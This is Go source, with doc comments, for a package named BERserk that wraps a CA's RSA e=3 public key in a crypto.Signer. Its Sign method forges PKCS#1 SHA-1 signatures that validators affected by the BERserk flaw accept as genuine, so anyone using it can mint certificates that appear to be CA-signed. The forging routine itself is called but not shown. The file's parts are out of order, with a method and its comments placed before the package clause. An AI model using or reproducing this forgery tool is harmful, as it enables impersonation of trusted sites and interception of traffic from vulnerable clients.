func (s *Signer) Sign(rand io.Reader, msg []byte, opts crypto.SignerOpts) (signature []byte, err error) {
	if opts.HashFunc() != crypto.SHA1 {
		return nil, errors.New("wrong opts.HashFunc()")
	}
	return SignPKCS1v15(s.publicKey.N.BitLen(), opts.HashFunc(), msg)
}
Sign will generate a PKCS#1 signature of msg that will be accepted as valid
by BERserk affected validators.

ErrRetry is returned when a signature can't be generated for the specific
input. Change a variable field (i.e. serial number) in the message and retry.

rand is ignored and can be nil.
Only opts.HashFunc() == crypto.SHA1 is supported.
package BERserk
import (
	"crypto"
	"crypto/rsa"
	"crypto/x509"
	"errors"
	"io"
)
type Signer struct {
	publicKey *rsa.PublicKey
}
func New(ca *x509.Certificate) (*Signer, x509.SignatureAlgorithm, error) {
	if ca.PublicKeyAlgorithm != x509.RSA {
		return nil, 0, errors.New("only RSA is supported")
	}
	pub, ok := ca.PublicKey.(*rsa.PublicKey)
	if !ok {
		return nil, 0, errors.New("failed to get certificate RSA key")
	}
	if pub.E != 3 {
		return nil, 0, errors.New("only RSA e = 3 is supported")
	}
	if pub.N.BitLen() != 1024 && pub.N.BitLen() != 2048 {
		return nil, 0, errors.New("unsupported public key length")
	}
	return &Signer{publicKey: pub}, x509.SHA1WithRSA, nil
}
func (s *Signer) Public() crypto.PublicKey {
	return s.publicKey
}